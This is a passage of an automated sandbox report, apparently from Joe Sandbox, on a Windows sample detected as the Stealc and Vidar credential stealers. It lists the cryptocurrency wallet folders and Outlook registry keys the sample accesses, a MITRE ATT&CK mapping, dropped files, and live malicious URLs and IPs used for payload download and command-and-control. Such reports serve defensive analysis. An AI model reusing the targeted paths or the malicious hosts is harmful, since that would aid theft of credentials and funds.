Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match

File source: Process Memory Space: RegAsm.exe PID: 2680, type: MEMORYSTR

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: 00000002.00000002.2224993314.00000000010EA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 2680, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: RegAsm.exe PID: 2680, type: MEMORYSTR

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C0A0C40 sqlite3_bind_zeroblob,	2_2_6C0A0C40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6C0A0D60 sqlite3_bind_parameter_name,	2_2_6C0A0D60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_6BFC8EA0 sqlite3_clear_bindings,	2_2_6BFC8EA0

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	11 Native API	1 DLL Side-Loading	1 DLL Side-Loading	11 Disable or Modify Tools	2 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Scheduled Task/Job	1 Scheduled Task/Job	511 Process Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	4 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 Scheduled Task/Job	3 Obfuscated Files or Information	Security Account Manager	3 File and Directory Discovery	SMB/Windows Admin Shares	1 Screen Capture	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	12 Software Packing	NTDS	245 System Information Discovery	Distributed Component Object Model	1 Email Collection	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	241 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Masquerading	Cached Domain Credentials	13 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	13 Virtualization/Sandbox Evasion	DCSync	12 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	511 Process Injection	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	HTML Smuggling	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	58%	ReversingLabs	ByteCode-MSIL.Spyware.Stealc
file.exe	100%	Avira	TR/AD.Stealc.bvofh

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\l2[1].exe	100%	Avira	HEUR/AGEN.1304053
C:\ProgramData\BKKFCFBKFC.exe	100%	Avira	HEUR/AGEN.1304053
C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe	100%	Avira	HEUR/AGEN.1304053
C:\ProgramData\BKKFCFBKFC.exe	74%	ReversingLabs	Win32.Ransomware.RedLine
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\l2[1].exe	74%	ReversingLabs	Win32.Ransomware.RedLine
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Roaming\Microsoft\Protect\oobeldr.exe	74%	ReversingLabs	Win32.Ransomware.RedLine

Source	Detection	Scanner	Label
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
http://upx.sf.net	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe
http://ocsp.entrust.net03	0%	Avira URL Cloud	safe
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	0%	Avira URL Cloud	safe
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.	0%	Avira URL Cloud	safe
http://45.152.113.10/15a25e53742510fe/sqlite3.dll	100%	Avira URL Cloud	malware
http://45.152.113.10/15a25e53742510fe/freebl3.dll	100%	Avira URL Cloud	malware
http://45.152.113.10/15a25e53742510fe/msvcp140.dll&	100%	Avira URL Cloud	malware
http://ocsp.entrust.net02	0%	Avira URL Cloud	safe
https://evokeedgellc.com/app/l2.exe0.phprefox	0%	Avira URL Cloud	safe
http://ocsp.sectigo.com0	0%	Avira URL Cloud	safe
http://45.152.113.10/92335b4816f77e90.php0	100%	Avira URL Cloud	malware
http://45.152.113.10	100%	Avira URL Cloud	malware
http://45.152.113.10/92335b4816f77e90.phpL	100%	Avira URL Cloud	malware
http://45.152.113.10/92335b4816f77e90.phpT	100%	Avira URL Cloud	malware
http://45.152.113.10/15a25e53742510fe/vcruntime140.dll	100%	Avira URL Cloud	malware
https://evokeedgellc.com/$%	0%	Avira URL Cloud	safe
http://crl.entrust.net/ts1ca.crl0	0%	Avira URL Cloud	safe
https://evokeedgellc.com/app/l2.exe00Start0	0%	Avira URL Cloud	safe
https://evokeedgellc.com/	0%	Avira URL Cloud	safe
http://45.152.113.10/15a25e53742510fe/softokn3.dll	100%	Avira URL Cloud	malware
http://www.sqlite.org/copyright.html.	0%	Avira URL Cloud	safe
http://45.152.113.10/92335b4816f77e90.phpe	100%	Avira URL Cloud	malware
http://45.152.113.10/15a25e53742510fe/mozglue.dll	100%	Avira URL Cloud	malware
https://mozilla.org0/	0%	Avira URL Cloud	safe
http://www.mozilla.com/en-US/blocklist/	0%	Avira URL Cloud	safe
http://45.152.113.10/92335b4816f77e90.phps	100%	Avira URL Cloud	malware
http://www.entrust.net/rpa03	0%	Avira URL Cloud	safe
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	0%	Avira URL Cloud	safe
http://45.152.113.10/92335b4816f77e90.phppv	100%	Avira URL Cloud	malware
https://sectigo.com/CPS0	0%	Avira URL Cloud	safe
http://45.152.113.10/15a25e53742510fe/freebl3.dlll	100%	Avira URL Cloud	malware
http://45.152.113.10/92335b4816f77e90.php	100%	Avira URL Cloud	malware
http://aia.entrust.net/ts1-chain256.cer01	0%	Avira URL Cloud	safe
http://45.152.113.10/92335b4816f77e90.phpllets	100%	Avira URL Cloud	malware
http://45.152.113.10/15a25e53742510fe/msvcp140.dll	100%	Avira URL Cloud	malware
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta	0%	Avira URL Cloud	safe
http://45.152.113.10/	100%	Avira URL Cloud	malware
https://evokeedgellc.com/app/l2.exee0eb4c49dd37e6879e908088eeb1c701d931-release	0%	Avira URL Cloud	safe
http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t	0%	Avira URL Cloud	safe
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	0%	Avira URL Cloud	safe
http://45.152.113.10/15a25e53742510fe/vcruntime140.dllH	100%	Avira URL Cloud	malware
https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg	0%	Avira URL Cloud	safe
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	0%	Avira URL Cloud	safe
http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#	0%	Avira URL Cloud	safe
http://45.152.113.10/15a25e53742510fe/nss3.dll	100%	Avira URL Cloud	malware
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477	0%	Avira URL Cloud	safe
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	0%	Avira URL Cloud	safe
https://support.mozilla.org	0%	Avira URL Cloud	safe
http://crl.entrust.net/2048ca.crl0	0%	Avira URL Cloud	safe
https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL	0%	Avira URL Cloud	safe
https://evokeedgellc.com/app/l2.exe	100%	Avira URL Cloud	malware
http://45.152.113.10amData	0%	Avira URL Cloud	safe
https://www.entrust.net/rpa0	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
evokeedgellc.com	198.54.120.231	true	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://45.152.113.10/15a25e53742510fe/sqlite3.dll	true	Avira URL Cloud: malware	unknown
http://45.152.113.10/15a25e53742510fe/freebl3.dll	true	Avira URL Cloud: malware	unknown
http://45.152.113.10/15a25e53742510fe/vcruntime140.dll	true	Avira URL Cloud: malware	unknown
http://45.152.113.10/15a25e53742510fe/softokn3.dll	true	Avira URL Cloud: malware	unknown
http://45.152.113.10/15a25e53742510fe/mozglue.dll	true	Avira URL Cloud: malware	unknown
http://45.152.113.10/92335b4816f77e90.php	true	Avira URL Cloud: malware	unknown
http://45.152.113.10/	true	Avira URL Cloud: malware	unknown
http://45.152.113.10/15a25e53742510fe/msvcp140.dll	true	Avira URL Cloud: malware	unknown
http://45.152.113.10/15a25e53742510fe/nss3.dll	true	Avira URL Cloud: malware	unknown
https://evokeedgellc.com/app/l2.exe	false	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	RegAsm.exe, 00000002.00000002.2224993314.000000000114A000.00000004.00000020.00020000.00000000.sdmp, AFHDAKJK.2.dr	false	URL Reputation: safe	unknown
http://45.152.113.10/15a25e53742510fe/msvcp140.dll&	RegAsm.exe, 00000002.00000002.2224993314.000000000112C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://duckduckgo.com/ac/?q=	RegAsm.exe, 00000002.00000002.2224993314.000000000114A000.00000004.00000020.00020000.00000000.sdmp, AFHDAKJK.2.dr	false	URL Reputation: safe	unknown
https://evokeedgellc.com/app/l2.exe0.phprefox	RegAsm.exe, 00000002.00000002.2224038230.000000000059C000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://45.152.113.10/92335b4816f77e90.php0	RegAsm.exe, 00000002.00000002.2252189623.00000000343A0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://ocsp.sectigo.com0	BKKFCFBKFC.exe, 0000000B.00000003.2207195477.0000000000D8D000.00000004.00000020.00020000.00000000.sdmp, l2[1].exe.2.dr, BKKFCFBKFC.exe.2.dr, oobeldr.exe.11.dr	false	Avira URL Cloud: safe	unknown
http://ocsp.entrust.net03	file.exe	false	Avira URL Cloud: safe	unknown
http://ocsp.entrust.net02	file.exe	false	Avira URL Cloud: safe	unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	EHDGCGIDAKEBKECAFIEH.2.dr	false	Avira URL Cloud: safe	unknown
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.	RegAsm.exe, 00000002.00000002.2246169531.0000000027681000.00000004.00000020.00020000.00000000.sdmp, EHDGCGIDAKEBKECAFIEH.2.dr	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	RegAsm.exe, 00000002.00000002.2224993314.000000000114A000.00000004.00000020.00020000.00000000.sdmp, AFHDAKJK.2.dr	false	URL Reputation: safe	unknown
http://45.152.113.10	RegAsm.exe, 00000002.00000002.2224038230.000000000043C000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2224038230.0000000000400000.00000040.00000400.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2224993314.00000000010EA000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://evokeedgellc.com/app/l2.exe00Start0	RegAsm.exe, 00000002.00000002.2224038230.000000000059C000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://45.152.113.10/92335b4816f77e90.phpL	RegAsm.exe, 00000002.00000002.2224993314.000000000112C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://45.152.113.10/92335b4816f77e90.phpT	RegAsm.exe, 00000002.00000002.2252189623.00000000343A0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	RegAsm.exe, 00000002.00000002.2224993314.000000000114A000.00000004.00000020.00020000.00000000.sdmp, AFHDAKJK.2.dr	false	URL Reputation: safe	unknown
https://evokeedgellc.com/$%	RegAsm.exe, 00000002.00000002.2224993314.000000000114A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.entrust.net/ts1ca.crl0	file.exe	false	Avira URL Cloud: safe	unknown
https://evokeedgellc.com/	RegAsm.exe, 00000002.00000002.2224993314.000000000114A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.sqlite.org/copyright.html.	RegAsm.exe, 00000002.00000002.2240031378.000000001B4E8000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000002.00000002.2252652143.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://45.152.113.10/92335b4816f77e90.phpe	RegAsm.exe, 00000002.00000002.2252189623.00000000343A0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.mozilla.com/en-US/blocklist/	RegAsm.exe, RegAsm.exe, 00000002.00000002.2252907582.000000006BF2D000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.2.dr, mozglue.dll.2.dr	false	Avira URL Cloud: safe	unknown
https://sectigo.com/CPS0	BKKFCFBKFC.exe, 0000000B.00000003.2207195477.0000000000D8D000.00000004.00000020.00020000.00000000.sdmp, l2[1].exe.2.dr, BKKFCFBKFC.exe.2.dr, oobeldr.exe.11.dr	false	Avira URL Cloud: safe	unknown
https://mozilla.org0/	freebl3.dll.2.dr, nss3[1].dll.2.dr, softokn3[1].dll.2.dr, softokn3.dll.2.dr, mozglue[1].dll.2.dr, mozglue.dll.2.dr, nss3.dll.2.dr, freebl3[1].dll.2.dr	false	Avira URL Cloud: safe	unknown
http://45.152.113.10/92335b4816f77e90.phppv	RegAsm.exe, 00000002.00000002.2252189623.00000000343A0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	RegAsm.exe, 00000002.00000002.2224993314.000000000114A000.00000004.00000020.00020000.00000000.sdmp, AFHDAKJK.2.dr	false	Avira URL Cloud: safe	unknown
http://45.152.113.10/92335b4816f77e90.phps	RegAsm.exe, 00000002.00000002.2252189623.00000000343A0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://45.152.113.10/15a25e53742510fe/freebl3.dlll	RegAsm.exe, 00000002.00000002.2224993314.000000000112C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.entrust.net/rpa03	file.exe	false	Avira URL Cloud: safe	unknown
http://aia.entrust.net/ts1-chain256.cer01	file.exe	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	RegAsm.exe, 00000002.00000002.2224993314.000000000114A000.00000004.00000020.00020000.00000000.sdmp, AFHDAKJK.2.dr	false	URL Reputation: safe	unknown
http://45.152.113.10/92335b4816f77e90.phpllets	RegAsm.exe, 00000002.00000002.2224038230.0000000000400000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://upx.sf.net	Amcache.hve.6.dr	false	URL Reputation: safe	unknown
https://www.ecosia.org/newtab/	RegAsm.exe, 00000002.00000002.2224993314.000000000114A000.00000004.00000020.00020000.00000000.sdmp, AFHDAKJK.2.dr	false	URL Reputation: safe	unknown
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta	RegAsm.exe, 00000002.00000002.2246169531.0000000027681000.00000004.00000020.00020000.00000000.sdmp, EHDGCGIDAKEBKECAFIEH.2.dr	false	Avira URL Cloud: safe	unknown
https://evokeedgellc.com/app/l2.exee0eb4c49dd37e6879e908088eeb1c701d931-release	RegAsm.exe, 00000002.00000002.2224038230.000000000059C000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	DBKKFCBAKKFBGCBFHJDGDGDHCA.2.dr	false	Avira URL Cloud: safe	unknown
https://ac.ecosia.org/autocomplete?q=	RegAsm.exe, 00000002.00000002.2224993314.000000000114A000.00000004.00000020.00020000.00000000.sdmp, AFHDAKJK.2.dr	false	URL Reputation: safe	unknown
http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t	BKKFCFBKFC.exe, 0000000B.00000003.2207195477.0000000000D8D000.00000004.00000020.00020000.00000000.sdmp, l2[1].exe.2.dr, BKKFCFBKFC.exe.2.dr, oobeldr.exe.11.dr	false	Avira URL Cloud: safe	unknown
http://45.152.113.10/15a25e53742510fe/vcruntime140.dllH	RegAsm.exe, 00000002.00000002.2224993314.000000000112C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg	RegAsm.exe, 00000002.00000002.2246169531.0000000027681000.00000004.00000020.00020000.00000000.sdmp, EHDGCGIDAKEBKECAFIEH.2.dr	false	Avira URL Cloud: safe	unknown
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	RegAsm.exe, 00000002.00000002.2246169531.0000000027681000.00000004.00000020.00020000.00000000.sdmp, EHDGCGIDAKEBKECAFIEH.2.dr	false	Avira URL Cloud: safe	unknown
http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#	BKKFCFBKFC.exe, 0000000B.00000003.2207195477.0000000000D8D000.00000004.00000020.00020000.00000000.sdmp, l2[1].exe.2.dr, BKKFCFBKFC.exe.2.dr, oobeldr.exe.11.dr	false	Avira URL Cloud: safe	unknown
https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL	DBKKFCBAKKFBGCBFHJDGDGDHCA.2.dr	false	Avira URL Cloud: safe	unknown
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	RegAsm.exe, 00000002.00000002.2246169531.0000000027681000.00000004.00000020.00020000.00000000.sdmp, EHDGCGIDAKEBKECAFIEH.2.dr	false	Avira URL Cloud: safe	unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477	RegAsm.exe, 00000002.00000002.2246169531.0000000027681000.00000004.00000020.00020000.00000000.sdmp, EHDGCGIDAKEBKECAFIEH.2.dr	false	Avira URL Cloud: safe	unknown
https://support.mozilla.org	DBKKFCBAKKFBGCBFHJDGDGDHCA.2.dr	false	Avira URL Cloud: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	RegAsm.exe, 00000002.00000002.2224993314.000000000114A000.00000004.00000020.00020000.00000000.sdmp, AFHDAKJK.2.dr	false	URL Reputation: safe	unknown
http://crl.entrust.net/2048ca.crl0	file.exe	false	Avira URL Cloud: safe	unknown
http://45.152.113.10amData	RegAsm.exe, 00000002.00000002.2224038230.0000000000400000.00000040.00000400.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.entrust.net/rpa0	file.exe	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
45.152.113.10	unknown	Russian Federation		138576	CODECCLOUD-AS-APCodecCloudHKLimitedHK	true
198.54.120.231	evokeedgellc.com	United States		22612	NAMECHEAP-NETUS	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1508145
Start date and time:	2024-09-09 18:44:06 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 25s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@17/31@1/2
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 98% Number of executed functions: 79 Number of non-executed functions: 208
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 20.189.173.21
Excluded domains from analysis (whitelisted): ocsp.digicert.com, login.live.com, slscr.update.microsoft.com, blobcollector.events.data.trafficmanager.net, onedsblobprdwus16.westus.cloudapp.azure.com, ctldl.windowsupdate.com, umwatson.events.data.microsoft.com, dns.msftncsi.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
12:45:15	API Interceptor	1x Sleep call for process: WerFault.exe modified
12:45:51	API Interceptor	9445505x Sleep call for process: oobeldr.exe modified
